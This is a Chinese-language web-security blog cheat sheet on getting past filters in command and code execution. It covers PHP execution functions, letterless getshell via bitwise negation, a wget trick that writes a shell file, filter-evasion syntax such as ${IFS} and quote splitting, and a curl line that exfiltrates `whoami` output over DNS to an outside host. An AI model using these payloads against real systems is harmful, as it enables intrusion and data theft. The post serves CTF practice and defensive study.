[web安全]命令执行&&代码执行bypass总结
命令执行&&代码执行bypass总结
代码执行
-
php常见命令执行函数
php代码 eval() assert() preg_replace call_user_func() call_user_func_array() create_function array_map() 系统命令代码 system() passthru() exec() pcntl_exec() shell_exec() popen() proc_open() `` ob_start()
-
php的动态执行
cmd=$_GET[func]($_GET[shell])&func=system&shell=cat flag $e='sys'.'tem';$e('cat flag');
-
disable_function绕过
1.ld_preload 2.php_gc
-
无字母getshell
取反~?code=(~%8f%97%8f%96%91%99%90)()//phpinfo()
-
限制输入字符数
>wget\\ >域名.\\ >com\\ >-O\\ >she\\ >ll.p\\ >p ls -t>a sh a
命令执行
-
linux中有查看功能的命令
cat、tac、more、less、head、tail、nl、 sed、sort、uniq、rev、vi、vim、od(以二进制的方式读取档案内容)
-
windows
1. windows下 “和^和()不会影响命令执行 2.切割字符 %a:~0,3% 代表变量a 0-3个字符 eg. set a=asdfghj who$a:~0,1%mi <=> whoami
-
通配符
linux windows 常见: * :0-多 ? :1 [abc] :abc [a-c] :abc [^abc]:没有abc 来了: cat f[abc]lag cat f[a-z]lag cat fla*
-
字符拼接
双引号:"w"h"o"a"m"i linux windows 单引号: 'w'ho'am'i linux 反斜杠\: who\ami cat\flag linux 重定向: cat<>flag cat<flag linux 大括号: {cat,flag} linux 变量: a=l;b=s;$a$b; linux 变量:set a=di&&set b=r&& %a%%b% windows 骚操作: 1. 666`whoami`666 => bash: 666root666:未找到命令 2. who`asd`am`sss`i => bash: ssd:未找到命令 bash: sss:未找到命令 root
-
变量
保留变量名 无意义变量$+123456789 ${IFS} ${IFS}$9 cat${IFS}flag linux
-
编码
echo d2hvYW1pCg== | base64 -d //执行whoami -d 意思是decode linux windows可以使用powershell base64
-
&,&&,|,||在windows和linux中的区别
& linux:后台运行 windows: 1 2 同时执行 1&&2 linux windows:1无错误运行2 | linux windows:上一条命令的输出,作为下一条命令参数(输入) 1||2 linux windows:1有错误运行2
-
一句话反弹shel
-
DNS
curl xxxx.ceye.io/`whoami`
-
借他文之手来获取字符
借助已有的字符进行拼接
-
利用Linux的环境变量
echo ${PATH} => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin echo ${PATH:1:1} => u
转载请注明原文链接
喜欢的话,留个赞再走吧